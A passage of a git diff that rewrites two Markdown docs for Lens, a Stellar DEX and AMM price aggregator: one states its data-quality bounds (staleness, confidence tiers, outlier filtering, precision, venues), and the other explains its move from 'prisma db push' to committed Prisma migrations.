confidence (`low`), preserving availability while warning callers. -- **Missing Ingestion / Empty Window (trades = [`0`](../src/aggregator/vwap.ts#L185))**: Returns `confidence: "unknown"` with `lastTradeAgeSeconds: null`, falling back through VWAP [`1`](../src/aggregator/vwap.ts#L198)h -> VWAP [`24`](../src/aggregator/vwap.ts#L198)h -> AMM Spot -> [`0`](../src/aggregator/vwap.ts#L198). -- **Unwatched Pair**: Returns HTTP [`404`](../src/api/rest.ts#L111) Not Found with `{ "error": "Pair / not watched on " }`. -- **Invalid Query Parameters**: Returns HTTP [`400`](../src/routes/price.ts#L55) Bad Request with structured Zod validation errors. -- **Outbound Failure / Ingestion Silence (>= [`300000`](../src/routes/venues.ts#L7) ms)**: Venue liveness degrades from `'live'` to `'stale'`. -- **Rate Limit Exceeded**: Returns HTTP [`429`](../src/app.ts#L107) Too Many Requests. - ---- - -## Summary of Enforced Bounds - -| Parameter | Bound | Units | Enforcing Code | Description | -|---|---|---|---|---| -| `staleness_threshold` | [`300`](../src/aggregator/vwap.ts#L4) | seconds | [`src/aggregator/vwap.ts:4`](../src/aggregator/vwap.ts#L4) | Ingestion age after which a price is flagged stale | -| `high_confidence_max_age` | [`30`](../src/aggregator/vwap.ts#L5) | seconds | [`src/aggregator/vwap.ts:5`](../src/aggregator/vwap.ts#L5) | Max trade age for high confidence rating | -| `medium_confidence_max_age` | [`300`](../src/aggregator/vwap.ts#L6) | seconds | [`src/aggregator/vwap.ts:6`](../src/aggregator/vwap.ts#L6) | Max trade age for medium confidence rating | -| `venue_liveness_window` | [`300000`](../src/routes/venues.ts#L7) | ms | [`src/routes/venues.ts:7`](../src/routes/venues.ts#L7) | Silence interval after which a venue is marked stale | -| `indexer_poll_interval` | [`5000`](../src/config.ts#L266) | ms | [`src/config.ts:266`](../src/config.ts#L266) | Polling interval for SDEX / Horizon trades | -| `sdex_page_size` | [`200`](../src/config.ts#L267) | rows | [`src/config.ts:267`](../src/config.ts#L267) | Maximum trade records fetched per Horizon request | -| `amm_page_size` | [`200`](../src/config.ts#L268) | rows | [`src/config.ts:268`](../src/config.ts#L268) | Maximum pool snapshot records fetched per page | -| `soroswap_poll_interval` | [`60000`](../src/config.ts#L178) | ms | [`src/config.ts:178`](../src/config.ts#L178) | Polling interval for Soroswap smart contract reserves | -| `price_cache_ttl` | [`10`](../src/config.ts#L271) | seconds | [`src/config.ts:271`](../src/config.ts#L271) | Redis cache TTL for pricing responses | -| `http_timeout_ms` | [`10000`](../src/config.ts#L274) | ms | [`src/config.ts:274`](../src/config.ts#L274) | Outbound deadline timeout for external network requests | -| `snapshot_retention_days` | [`30`](../src/jobs/snapshotRetention.ts#L12) | days | [`src/jobs/snapshotRetention.ts:12`](../src/jobs/snapshotRetention.ts#L12) | Retention window for historical pool snapshots | -| `snapshot_retention_batch_size` | [`1000`](../src/jobs/snapshotRetention.ts#L14) | rows | [`src/jobs/snapshotRetention.ts:14`](../src/jobs/snapshotRetention.ts#L14) | Row limit for batch snapshot pruning statements | -| `price_points_retention_days` | [`30`](../src/partitioning/pricePoints.ts#L5) | days | [`src/partitioning/pricePoints.ts:5`](../src/partitioning/pricePoints.ts#L5) | Retention window before daily partition drops | -| `min_outlier_samples` | [`4`](../src/pricing/twap.ts#L288) | samples | [`src/pricing/twap.ts:288`](../src/pricing/twap.ts#L288) | Minimum samples required for statistical outlier rejection | -| `iqr_multiplier` | [`1.5`](../src/pricing/twap.ts#L289) | factor | [`src/pricing/twap.ts:289`](../src/pricing/twap.ts#L289) | Interquartile range multiplier for outlier fence | -| `modified_z_score_threshold` | [`3.5`](../src/pricing/twap.ts#L290) | factor | [`src/pricing/twap.ts:290`](../src/pricing/twap.ts#L290) | Modified Z-Score deviation threshold | -| `modified_z_score_factor` | [`0.6745`](../src/pricing/twap.ts#L291) | factor | [`src/pricing/twap.ts:291`](../src/pricing/twap.ts#L291) | Consistency adjustment factor for MAD normal distribution | -| `twap_window_min` | [`1`](../src/routes/price.ts#L8) | minutes | [`src/routes/price.ts:8`](../src/routes/price.ts#L8) | Minimum allowed TWAP calculation window | -| `twap_window_max` | [`1440`](../src/routes/price.ts#L9) | minutes | [`src/routes/price.ts:9`](../src/routes/price.ts#L9) | Maximum allowed TWAP calculation window (24h) | -| `twap_window_default` | [`60`](../src/routes/price.ts#L10) | minutes | [`src/routes/price.ts:10`](../src/routes/price.ts#L10) | Default TWAP window | -| `twap_sample_interval_min` | [`1`](../src/routes/price.ts#L11) | seconds | [`src/routes/price.ts:11`](../src/routes/price.ts#L11) | Minimum sample interval for TWAP calculation | -| `twap_sample_interval_max` | [`3600`](../src/routes/price.ts#L12) | seconds | [`src/routes/price.ts:12`](../src/routes/price.ts#L12) | Maximum sample interval for TWAP calculation | -| `twap_sample_interval_default` | [`60`](../src/routes/price.ts#L13) | seconds | [`src/routes/price.ts:13`](../src/routes/price.ts#L13) | Default sample interval for TWAP calculation | -| `vwap_window_min` | [`1`](../src/routes/price.ts#L15) | minutes | [`src/routes/price.ts:15`](../src/routes/price.ts#L15) | Minimum allowed VWAP calculation window | -| `vwap_window_max` | [`1440`](../src/routes/price.ts#L16) | minutes | [`src/routes/price.ts:16`](../src/routes/price.ts#L16) | Maximum allowed VWAP calculation window (24h) | -| `vwap_window_default` | [`60`](../src/routes/price.ts#L17) | minutes | [`src/routes/price.ts:17`](../src/routes/price.ts#L17) | Default VWAP window | -| `history_default_limit` | [`100`](../src/api/rest.ts#L24) | buckets | [`src/api/rest.ts:24`](../src/api/rest.ts#L24) | Default bucket limit for historical aggregates | -| `history_max_limit` | [`1000`](../src/api/rest.ts#L25) | buckets | [`src/api/rest.ts:25`](../src/api/rest.ts#L25) | Upper ceiling for historical aggregates | -| `screener_default_limit` | [`20`](../src/routes/screener.ts#L22) | pairs | [`src/routes/screener.ts:22`](../src/routes/screener.ts#L22) | Default limit of pairs returned by screener | -| `screener_max_limit` | [`100`](../src/routes/screener.ts#L23) | pairs | [`src/routes/screener.ts:23`](../src/routes/screener.ts#L23) | Maximum clamped limit of pairs returned by screener | -| `spread_min_observations` | [`2`](../src/routes/spreads.ts#L20) | observations | [`src/routes/spreads.ts:20`](../src/routes/spreads.ts#L20) | Minimum observations required before a venue spread is reported | -| `registered_venues_count` | [`6`](../src/ingest/venues/index.ts#L23) | adapters | [`src/ingest/venues/index.ts:23`](../src/ingest/venues/index.ts#L23) | Total number of registered venue adapters | -| `database_price_precision` | [`36`](../prisma/schema.prisma#L20) | digits | [`prisma/schema.prisma:20`](../prisma/schema.prisma#L20) | Total numeric precision in PostgreSQL decimal columns | -| `database_price_scale` | [`18`](../prisma/schema.prisma#L20) | decimals | [`prisma/schema.prisma:20`](../prisma/schema.prisma#L20) | Decimal places stored for pricing in PostgreSQL | -| `stellar_native_scale` | [`7`](../prisma/schema.prisma#L21) | decimals | [`prisma/schema.prisma:21`](../prisma/schema.prisma#L21) | Native Stellar stroop scale (one stroop equals ten to the negative seven XLM) | +# Lens Data Quality Guarantees + +This document formally states the data quality guarantees provided by Lens: freshness, completeness, precision, venue inclusion, and the explicit system behaviors when any guarantee is violated. Every numerical bound documented below links directly to the code or configuration that enforces it. + +--- + +## Freshness Guarantees + +Lens continuously aggregates order book trades and AMM liquidity pool snapshots across Stellar networks. The following freshness bounds are enforced: + +### Live Pricing Staleness Bound +A price response is considered fresh when its newest underlying trade observation occurred within [`300`](../src/aggregator/vwap.ts#L4) seconds ([`5`](../src/aggregator/vwap.ts#L4) minutes). When the newest observation age exceeds [`300`](../src/aggregator/vwap.ts#L4) seconds, the response explicitly sets `stale: true`. + +- **Enforcing Code**: [`src/aggregator/vwap.ts`](../src/aggregator/vwap.ts#L4) (`STALENESS_THRESHOLD_SECONDS`) +- **Violation Behavior**: The engine returns the last observed price alongside `stale: true` and `lastTradeAgeSeconds: ` (exceeding [`300`](../src/aggregator/vwap.ts#L4) seconds). Confidence rating degrades to `'low'`. + +### Confidence Rating Freshness Tiers +Every pricing response carries a categorical `confidence` rating derived from observation age and venue diversity: +- **High Confidence**: Requires an observation age under [`30`](../src/aggregator/vwap.ts#L5) seconds across at least [`2`](../src/aggregator/vwap.ts#L187) distinct sources with positive [`24`](../src/aggregator/vwap.ts#L181)h volume. +- **Medium Confidence**: Requires an observation age under [`300`](../src/aggregator/vwap.ts#L6) seconds. +- **Low Confidence**: Assigned when observation age equals or exceeds [`300`](../src/aggregator/vwap.ts#L6) seconds. +- **Unknown Confidence**: Assigned when no trades have ever been recorded (`lastTradeAgeSeconds === null`). +- **Enforcing Code**: [`src/aggregator/vwap.ts`](../src/aggregator/vwap.ts#L4) + +### Venue Ingestion Liveness Window +Venue adapters report network liveness on `/venues/registry`. A venue is marked `'live'` if a price point has been ingested within the last [`300000`](../src/routes/venues.ts#L7) ms ([`5`](../src/routes/venues.ts#L7) minutes). +- **Enforcing Code**: [`src/routes/venues.ts`](../src/routes/venues.ts#L7) (`LIVE_WINDOW_MS`) +- **Violation Behavior**: If no price points are observed within [`300000`](../src/routes/venues.ts#L7) ms, venue liveness transitions to `'stale'`. Disabled venues report `'disabled'`. + +### Ingestion Polling Intervals +- **SDEX Order Book & AMM Trades**: Horizon ingestion polls every [`5000`](../src/config.ts#L266) ms with a batch page size of [`200`](../src/config.ts#L267) records for SDEX and [`200`](../src/config.ts#L268) records for AMM pools. +- **Soroswap AMM Reserves**: Contract reserves poll via Soroban RPC every [`60000`](../src/config.ts#L178) ms. +- **Enforcing Code**: [`src/config.ts`](../src/config.ts#L266) (`pollIntervalMs`, `soroswapPollMs`) + +### Cache Expiration & Network Timeouts +- **Redis Price Cache TTL**: Aggregate prices are cached in Redis with a TTL of [`10`](../src/config.ts#L271) seconds. +- **Outbound HTTP Timeout**: External HTTP requests enforce a deadline timeout of [`10000`](../src/config.ts#L274) ms. +- **Enforcing Code**: [`src/config.ts`](../src/config.ts#L271) (`priceTtl`, `timeoutMs`) +- **Violation Behavior**: Outbound calls abort upon reaching [`10000`](../src/config.ts#L274) ms; ingester logs errors and retries on subsequent poll ticks. + +### Snapshot and Partition Retention +- **Pool Snapshot Pruning**: Historical liquidity pool snapshots older than [`30`](../src/jobs/snapshotRetention.ts#L12) days are pruned hourly in batches of [`1000`](../src/jobs/snapshotRetention.ts#L14) rows. +- **Price Point Partition Dropping**: Daily `price_points` partitions older than [`30`](../src/partitioning/pricePoints.ts#L5) days are dropped. +- **Enforcing Code**: [`src/jobs/snapshotRetention.ts`](../src/jobs/snapshotRetention.ts#L12), [`src/partitioning/pricePoints.ts`](../src/partitioning/pricePoints.ts#L5) + +--- + +## Completeness Guarantees + +### Multi-Venue Liquidity Aggregation +High confidence requires price observations from at least [`2`](../src/aggregator/vwap.ts#L187) distinct liquidity sources (e.g. SDEX and AMM pools). When only [`1`](../src/aggregator/vwap.ts#L187) source is active, confidence is limited to `'medium'`. + +### Statistical Outlier Rejection Thresholds +TWAP and VWAP computations apply statistical filtering to reject manipulation spikes: +- **Minimum Sample Count**: Outlier filtering requires at least [`4`](../src/pricing/twap.ts#L288) sample points. +- **Interquartile Range (IQR)**: Rejects samples beyond Q1 - [`1.5`](../src/pricing/twap.ts#L289) * IQR or Q3 + [`1.5`](../src/pricing/twap.ts#L289) * IQR. +- **Modified Z-Score**: Rejects samples with absolute score exceeding [`3.5`](../src/pricing/twap.ts#L290), using a consistency factor of [`0.6745`](../src/pricing/twap.ts#L291). +- **Enforcing Code**: [`src/pricing/twap.ts`](../src/pricing/twap.ts#L288) +- **Violation Behavior**: If fewer than [`4`](../src/pricing/twap.ts#L288) samples exist, filtering is bypassed (`outlierRejected` is zero). If [`0`](../src/pricing/twap.ts#L78) samples exist in the window, endpoints return zero TWAP and sample count. + +### Request Window & Parameter Bounds +- **TWAP Windows**: Window ranges from [`1`](../src/routes/price.ts#L8) to [`1440`](../src/routes/price.ts#L9) minutes (default [`60`](../src/routes/price.ts#L10) minutes). Sample intervals range from [`1`](../src/routes/price.ts#L11) to [`3600`](../src/routes/price.ts#L12) seconds (default [`60`](../src/routes/price.ts#L13) seconds). +- **VWAP Windows**: Window ranges from [`1`](../src/routes/price.ts#L15) to [`1440`](../src/routes/price.ts#L16) minutes (default [`60`](../src/routes/price.ts#L17) minutes). +- **Price History Limits**: Bucket count is capped at [`1000`](../src/api/rest.ts#L25) buckets (default [`100`](../src/api/rest.ts#L24) buckets). +- **Screener Pair Limits**: Pair count defaults to [`20`](../src/routes/screener.ts#L22) and is clamped between [`1`](../src/routes/screener.ts#L33) and [`100`](../src/routes/screener.ts#L23). +- **Spread Observations**: Venues must quote at least [`2`](../src/routes/spreads.ts#L20) observations in the window to report a spread. +- **Violation Behavior**: Inputs outside allowed ranges trigger HTTP [`400`](../src/routes/price.ts#L55) Bad Request with validation details. + +--- + +## Precision Guarantees + +### Database Storage Precision +- **Prices and VWAPs**: Stored as PostgreSQL `DECIMAL(`[`36`](../prisma/schema.prisma#L20)`, `[`18`](../prisma/schema.prisma#L20)`)` with [`18`](../prisma/schema.prisma#L20) decimal digits of fractional scale. +- **Stellar Native Reserves & Volumes**: Stored as PostgreSQL `DECIMAL(`[`36`](../prisma/schema.prisma#L21)`, `[`7`](../prisma/schema.prisma#L21)`)` matching Stellar's native [`7`](../prisma/schema.prisma#L21) decimal place stroop scale ([`1`](../prisma/schema.prisma#L21) stroop = [`0.0000001`](../prisma/schema.prisma#L21) XLM). +- **Enforcing Code**: [`prisma/schema.prisma`](../prisma/schema.prisma#L20) + +### API Boundary Serialization +- **Standard Default Mode**: Returns numbers as IEEE-[`754`](../src/types.ts#L20) double precision floating-point numbers (~[`15`](../src/types.ts#L20)-[`17`](../src/types.ts#L20) significant digits). +- **Exact String Representation Mode**: When negotiated via `X-Decimal-Format: string`, `Accept: application/json; decimals=strings`, or `?decimals=strings`, all decimal quantities serialise as exact strings without floating-point truncation. +- **Enforcing Code**: [`prisma/schema.prisma`](../prisma/schema.prisma#L20), [`src/types.ts`](../src/types.ts#L20) +- **Violation Behavior**: Consumers that require exact [`18`](../prisma/schema.prisma#L20)-decimal precision must negotiate string format; unnegotiated requests receive standard JSON numbers for backward compatibility. + +--- + +## Venue Inclusion Guarantees + +Lens integrates [`4`](../src/ingest/venues/index.ts#L19) registered venue adapters: + +| Venue | Identifier | Kind | Testnet | Mainnet | Included In | Enforcing Code | +|---|---|---|---|---|---|---| +| **Stellar Decentralized Exchange (SDEX)** | `sdex` | `orderbook` | Enabled | Enabled | VWAP, Best Route, Depth, Book, Volumes, Spreads | [`src/ingest/venues/sdex.ts`](../src/ingest/venues/sdex.ts#L174) | +| **Stellar Native Liquidity Pools (AMM)** | `stellar-amm` | `amm` | Enabled | Enabled | Spot, Pools, Best Route, Depth, Book, Volumes | [`src/ingest/venues/amm.ts`](../src/ingest/venues/amm.ts#L237) | +| **Soroswap AMM** | `soroswap` | `amm` | Enabled | Enabled | Price aggregation, multi-venue pools | [`src/ingest/venues/soroswap.ts`](../src/ingest/venues/soroswap.ts#L326) | +| **Aquarius AMM** | `aquarius` | `amm` | Disabled | Enabled | Mainnet liquidity pool aggregation | [`src/ingest/venues/aquarius.ts`](../src/ingest/venues/aquarius.ts#L111) | + +- **Reflector Oracle**: Used optionally for oracle benchmark comparison (`/compare/:asset`) and GraphQL oracle resolution. Disabled by default unless configured. +- **Enforcing Code**: [`src/ingest/venues/index.ts`](../src/ingest/venues/index.ts#L19), [`src/config.ts`](../src/config.ts#L171) + +--- + +## Violation Semantics Summary + +When a data quality guarantee is breached, Lens behaves deterministically: + +- **Stale Observation (age >= [`300`](../src/aggregator/vwap.ts#L4) s)**: Returns the last known price marked with `stale: true` and downgraded confidence (`low`), preserving availability while warning callers. +- **Missing Ingestion / Empty Window (trades = [`0`](../src/aggregator/vwap.ts#L185))**: Returns `confidence: "unknown"` with `lastTradeAgeSeconds: null`, falling back through VWAP [`1`](../src/aggregator/vwap.ts#L198)h -> VWAP [`24`](../src/aggregator/vwap.ts#L198)h -> AMM Spot -> [`0`](../src/aggregator/vwap.ts#L198). +- **Unwatched Pair**: Returns HTTP [`404`](../src/api/rest.ts#L111) Not Found with `{ "error": "Pair / not watched on " }`. +- **Invalid Query Parameters**: Returns HTTP [`400`](../src/routes/price.ts#L55) Bad Request with structured Zod validation errors. +- **Outbound Failure / Ingestion Silence (>= [`300000`](../src/routes/venues.ts#L7) ms)**: Venue liveness degrades from `'live'` to `'stale'`. +- **Rate Limit Exceeded**: Returns HTTP [`429`](../src/app.ts#L107) Too Many Requests. + +--- + +## Summary of Enforced Bounds + +| Parameter | Bound | Units | Enforcing Code | Description | +|---|---|---|---|---| +| `staleness_threshold` | [`300`](../src/aggregator/vwap.ts#L4) | seconds | [`src/aggregator/vwap.ts:4`](../src/aggregator/vwap.ts#L4) | Ingestion age after which a price is flagged stale | +| `high_confidence_max_age` | [`30`](../src/aggregator/vwap.ts#L5) | seconds | [`src/aggregator/vwap.ts:5`](../src/aggregator/vwap.ts#L5) | Max trade age for high confidence rating | +| `medium_confidence_max_age` | [`300`](../src/aggregator/vwap.ts#L6) | seconds | [`src/aggregator/vwap.ts:6`](../src/aggregator/vwap.ts#L6) | Max trade age for medium confidence rating | +| `venue_liveness_window` | [`300000`](../src/routes/venues.ts#L7) | ms | [`src/routes/venues.ts:7`](../src/routes/venues.ts#L7) | Silence interval after which a venue is marked stale | +| `indexer_poll_interval` | [`5000`](../src/config.ts#L266) | ms | [`src/config.ts:266`](../src/config.ts#L266) | Polling interval for SDEX / Horizon trades | +| `sdex_page_size` | [`200`](../src/config.ts#L267) | rows | [`src/config.ts:267`](../src/config.ts#L267) | Maximum trade records fetched per Horizon request | +| `amm_page_size` | [`200`](../src/config.ts#L268) | rows | [`src/config.ts:268`](../src/config.ts#L268) | Maximum pool snapshot records fetched per page | +| `soroswap_poll_interval` | [`60000`](../src/config.ts#L178) | ms | [`src/config.ts:178`](../src/config.ts#L178) | Polling interval for Soroswap smart contract reserves | +| `price_cache_ttl` | [`10`](../src/config.ts#L271) | seconds | [`src/config.ts:271`](../src/config.ts#L271) | Redis cache TTL for pricing responses | +| `http_timeout_ms` | [`10000`](../src/config.ts#L274) | ms | [`src/config.ts:274`](../src/config.ts#L274) | Outbound deadline timeout for external network requests | +| `snapshot_retention_days` | [`30`](../src/jobs/snapshotRetention.ts#L12) | days | [`src/jobs/snapshotRetention.ts:12`](../src/jobs/snapshotRetention.ts#L12) | Retention window for historical pool snapshots | +| `snapshot_retention_batch_size` | [`1000`](../src/jobs/snapshotRetention.ts#L14) | rows | [`src/jobs/snapshotRetention.ts:14`](../src/jobs/snapshotRetention.ts#L14) | Row limit for batch snapshot pruning statements | +| `price_points_retention_days` | [`30`](../src/partitioning/pricePoints.ts#L5) | days | [`src/partitioning/pricePoints.ts:5`](../src/partitioning/pricePoints.ts#L5) | Retention window before daily partition drops | +| `min_outlier_samples` | [`4`](../src/pricing/twap.ts#L288) | samples | [`src/pricing/twap.ts:288`](../src/pricing/twap.ts#L288) | Minimum samples required for statistical outlier rejection | +| `iqr_multiplier` | [`1.5`](../src/pricing/twap.ts#L289) | factor | [`src/pricing/twap.ts:289`](../src/pricing/twap.ts#L289) | Interquartile range multiplier for outlier fence | +| `modified_z_score_threshold` | [`3.5`](../src/pricing/twap.ts#L290) | factor | [`src/pricing/twap.ts:290`](../src/pricing/twap.ts#L290) | Modified Z-Score deviation threshold | +| `modified_z_score_factor` | [`0.6745`](../src/pricing/twap.ts#L291) | factor | [`src/pricing/twap.ts:291`](../src/pricing/twap.ts#L291) | Consistency adjustment factor for MAD normal distribution | +| `twap_window_min` | [`1`](../src/routes/price.ts#L8) | minutes | [`src/routes/price.ts:8`](../src/routes/price.ts#L8) | Minimum allowed TWAP calculation window | +| `twap_window_max` | [`1440`](../src/routes/price.ts#L9) | minutes | [`src/routes/price.ts:9`](../src/routes/price.ts#L9) | Maximum allowed TWAP calculation window (24h) | +| `twap_window_default` | [`60`](../src/routes/price.ts#L10) | minutes | [`src/routes/price.ts:10`](../src/routes/price.ts#L10) | Default TWAP window | +| `twap_sample_interval_min` | [`1`](../src/routes/price.ts#L11) | seconds | [`src/routes/price.ts:11`](../src/routes/price.ts#L11) | Minimum sample interval for TWAP calculation | +| `twap_sample_interval_max` | [`3600`](../src/routes/price.ts#L12) | seconds | [`src/routes/price.ts:12`](../src/routes/price.ts#L12) | Maximum sample interval for TWAP calculation | +| `twap_sample_interval_default` | [`60`](../src/routes/price.ts#L13) | seconds | [`src/routes/price.ts:13`](../src/routes/price.ts#L13) | Default sample interval for TWAP calculation | +| `vwap_window_min` | [`1`](../src/routes/price.ts#L15) | minutes | [`src/routes/price.ts:15`](../src/routes/price.ts#L15) | Minimum allowed VWAP calculation window | +| `vwap_window_max` | [`1440`](../src/routes/price.ts#L16) | minutes | [`src/routes/price.ts:16`](../src/routes/price.ts#L16) | Maximum allowed VWAP calculation window (24h) | +| `vwap_window_default` | [`60`](../src/routes/price.ts#L17) | minutes | [`src/routes/price.ts:17`](../src/routes/price.ts#L17) | Default VWAP window | +| `history_default_limit` | [`100`](../src/api/rest.ts#L24) | buckets | [`src/api/rest.ts:24`](../src/api/rest.ts#L24) | Default bucket limit for historical aggregates | +| `history_max_limit` | [`1000`](../src/api/rest.ts#L25) | buckets | [`src/api/rest.ts:25`](../src/api/rest.ts#L25) | Upper ceiling for historical aggregates | +| `screener_default_limit` | [`20`](../src/routes/screener.ts#L22) | pairs | [`src/routes/screener.ts:22`](../src/routes/screener.ts#L22) | Default limit of pairs returned by screener | +| `screener_max_limit` | [`100`](../src/routes/screener.ts#L23) | pairs | [`src/routes/screener.ts:23`](../src/routes/screener.ts#L23) | Maximum clamped limit of pairs returned by screener | +| `spread_min_observations` | [`2`](../src/routes/spreads.ts#L20) | observations | [`src/routes/spreads.ts:20`](../src/routes/spreads.ts#L20) | Minimum observations required before a venue spread is reported | +| `registered_venues_count` | [`6`](../src/ingest/venues/index.ts#L23) | adapters | [`src/ingest/venues/index.ts:23`](../src/ingest/venues/index.ts#L23) | Total number of registered venue adapters | +| `database_price_precision` | [`36`](../prisma/schema.prisma#L20) | digits | [`prisma/schema.prisma:20`](../prisma/schema.prisma#L20) | Total numeric precision in PostgreSQL decimal columns | +| `database_price_scale` | [`18`](../prisma/schema.prisma#L20) | decimals | [`prisma/schema.prisma:20`](../prisma/schema.prisma#L20) | Decimal places stored for pricing in PostgreSQL | +| `stellar_native_scale` | [`7`](../prisma/schema.prisma#L21) | decimals | [`prisma/schema.prisma:21`](../prisma/schema.prisma#L21) | Native Stellar stroop scale (one stroop equals ten to the negative seven XLM) | diff --git a/docs/database-migrations.md b/docs/database-migrations.md index 31c774b5..920a421b 100644 --- a/docs/database-migrations.md +++ b/docs/database-migrations.md @@ -1,181 +1,181 @@ -# Database migrations - -Issue **#233**. Before this, `prisma/` contained only `schema.prisma` — there was -no `migrations/` directory, and every schema change was applied with -`prisma db push`. Lens now uses **`prisma migrate`**: schema changes are -committed as reviewable SQL, and deployments apply them with `migrate deploy`. - -## Why not `db push` - -`prisma db push` diffs the *live* database against `schema.prisma` and applies -whatever it decides, on the spot. That gives you none of the things a service -that holds money-moving data needs: - -- **Nothing is reviewable.** A schema change is whatever the diff produced at - that instant, not a file a reviewer read. -- **No reproducible deploy.** Two environments pushed at different times can - land on different shapes; nothing in the repo describes the live shape. -- **No rollback.** There is no record of what changed, so there is nothing to - undo. With `--accept-data-loss` a push can silently drop a column. -- **It has already bitten us.** A `db push` in the sibling service half-applied - and left the database on a shape no commit described. That is exactly the - failure `prisma migrate` exists to prevent. - -So: **do not run `prisma db push` against any environment.** It is no longer a -`package.json` script. The `db push` call at app startup (`src/index.ts`) now -runs `migrate deploy` instead. - -## What lives in the repo now - -``` -prisma/ - schema.prisma # the source of truth for the data model - migrations/ - migration_lock.toml # provider = "postgresql" (do not hand-edit) - 0_init/ - migration.sql # baseline: recreates the production schema exactly -``` - -`0_init/migration.sql` is the **baseline** — the SQL that reproduces the current -production schema from an empty database. It is generated, not hand-written: - -```bash -prisma migrate diff \ - --from-empty \ - --to-schema-datamodel prisma/schema.prisma \ - --script > prisma/migrations/0_init/migration.sql -``` - -## Daily workflow (local development) - -Edit `schema.prisma`, then generate a migration. Do **not** `db push`. - -```bash -npm run db:migrate # prisma migrate dev — creates and applies a new migration -``` - -`migrate dev` writes a new timestamped folder under `prisma/migrations/`. -**Commit that folder.** It is now the reviewable record of the change. - -```bash -npm run db:status # which migrations are applied / pending -npm run db:reset # drop schema and re-apply all migrations (NEVER on prod) -``` - -## Deploying - -Deploys apply committed migrations only — they never diff the live database: - -```bash -npm run db:deploy # prisma migrate deploy -``` - -App startup (`src/index.ts`) runs `migrate deploy` for you, so a container that -starts against a database with pending migrations applies them and only them, -deterministically, or fails loudly if the database is ahead of the code. - -### Adopting the baseline on an EXISTING database - -Every Lens database that exists today was created by `db push`: it already -matches `schema.prisma` and has no `_prisma_migrations` table. The baseline's -`CREATE TABLE` statements must **not** be re-run there — `migrate deploy` would -collide with the tables that are already present and exit non-zero, which from -`src/index.ts` (`main().catch(… process.exit(1))`) is a crash loop, not a failed -migration. - -**Startup does this adoption for you.** `applyMigrations()` in -`src/db/migrate.ts` asks the database one question before deploying — does -`_prisma_migrations` exist, and does `price_points` exist — and when the schema -is there without the history it records the baseline as applied *without -executing it* before deploying: - -```bash -prisma migrate resolve --applied # records it; runs no SQL -prisma migrate deploy # then applies what is pending -``` - -So no manual step gates the deploy, and the order in which the merge and the -redeploy happen cannot take the API down. The three states it distinguishes — -empty database, pre-migrate database, already-adopted database — are pinned by -`tests/db-migrate-baseline.test.ts`. - -Running `npx prisma migrate resolve --applied 0_init` by hand first is still -perfectly fine; startup then finds the history and skips the adoption. The -baseline is committed separately, rather than generated on deploy, precisely so -that it can be recorded instead of run. - -### One-time check before the first deploy - -Adoption records "this database matches the baseline" permanently. It is only -true if the database really does match `schema.prisma` — and `db push` is what -used to make that true on every boot, silently. Dropping `db push` means a -column that is in `schema.prisma` but not in the live database **stays -missing**: `migrate deploy` has nothing pending to apply, and -`assertSchemaValid()` only covers the five core tables in -`EXPECTED_SCHEMA` (`src/db/schemaVerify.ts`), so a drifted `api_keys` or -`webhooks` column would not be caught at startup — it would surface as 500s on -the routes that read it. - -So run this once against each live database, before the first deploy on this -commit, and read the output rather than the exit code: - -```bash -# Differences between the LIVE database and schema.prisma, as SQL. -# Empty output = the database matches the baseline and is safe to adopt. -DIRECT_DATABASE_URL='' npx prisma migrate diff --from-schema-datasource prisma/schema.prisma --to-schema-datamodel prisma/schema.prisma --script -``` - -If it prints statements, do not adopt yet. Either apply them as a committed -migration (`npm run db:migrate`, then `migrate deploy`), or converge the -database on the previous commit — the one that still ran `db push` — and -re-check. - -Two caveats on reading that output: - -- It is **not** wired into startup on purpose. Lens shares a Postgres instance - with the sibling indexer, and if the two ever land in the same schema this - diff reports the sibling's tables as drift. A false positive here would be a - refusal to boot, so the judgement stays with a person. -- The CI `db-migrations` job does not cover this either. It replays the - migrations against an empty Postgres and diffs *that* against - `schema.prisma`; it never sees a live database, so it cannot tell you whether - production matches the baseline. Only the command above can. - -## The CI drift guard - -The `db-migrations` job in `.github/workflows/ci.yml` brings up a Postgres -service and runs: - -- `scripts/db-drift-check.sh` — deploys every committed migration, then - `migrate diff --from-migrations prisma/migrations --to-schema-datamodel - prisma/schema.prisma --exit-code` against a shadow database. It exits non-zero - — failing CI — whenever `schema.prisma` and `prisma/migrations` disagree. This - is the check that would have caught a half-applied `db push`. -- `scripts/db-migration-cycle.sh` — proves a new migration can be generated, - applied and rolled back on a clean database, and that the drift guard actually - fires on an un-migrated schema change. - -The DB-free unit test `tests/prisma-migrations.test.ts` (part of `npm test`) -additionally locks the **baseline** to `schema.prisma`: it fails while the repo -has no migration history, and fails if you edit the schema without regenerating -the baseline, so a missing migration is caught even without a database. - -Run the database-backed checks locally against the compose Postgres: - -```bash -docker compose up -d postgres -# create an empty shadow database alongside `lens` -DATABASE_URL=postgresql://lens:lens@localhost:5432/lens \ -DIRECT_DATABASE_URL=postgresql://lens:lens@localhost:5432/lens \ -SHADOW_DATABASE_URL=postgresql://lens:lens@localhost:5432/lens_shadow \ - npm run db:drift-check -``` - -## Rolling back a bad migration - -Prisma does not generate down-migrations. In a **non-production** environment, -`npm run db:reset` drops the schema and re-applies every committed migration, -which is the clean, reproducible way to back out of a half-applied change. In -production, roll forward: commit a new migration that reverses the change and -`migrate deploy` it. Either way the history in `prisma/migrations/` is the -source of truth — the thing `db push` never gave us. +# Database migrations + +Issue **#233**. Before this, `prisma/` contained only `schema.prisma` — there was +no `migrations/` directory, and every schema change was applied with +`prisma db push`. Lens now uses **`prisma migrate`**: schema changes are +committed as reviewable SQL, and deployments apply them with `migrate deploy`. + +## Why not `db push` + +`prisma db push` diffs the *live* database against `schema.prisma` and applies +whatever it decides, on the spot. That gives you none of the things a service +that holds money-moving data needs: + +- **Nothing is reviewable.** A schema change is whatever the diff produced at + that instant, not a file a reviewer read. +- **No reproducible deploy.** Two environments pushed at different times can + land on different shapes; nothing in the repo describes the live shape. +- **No rollback.** There is no record of what changed, so there is nothing to + undo. With `--accept-data-loss` a push can silently drop a column. +- **It has already bitten us.** A `db push` in the sibling service half-applied + and left the database on a shape no commit described. That is exactly the + failure `prisma migrate` exists to prevent. + +So: **do not run `prisma db push` against any environment.** It is no longer a +`package.json` script. The `db push` call at app startup (`src/index.ts`) now +runs `migrate deploy` instead. + +## What lives in the repo now + +``` +prisma/ + schema.prisma # the source of truth for the data model + migrations/ + migration_lock.toml # provider = "postgresql" (do not hand-edit) + 0_init/ + migration.sql # baseline: recreates the production schema exactly +``` + +`0_init/migration.sql` is the **baseline** — the SQL that reproduces the current +production schema from an empty database. It is generated, not hand-written: + +```bash +prisma 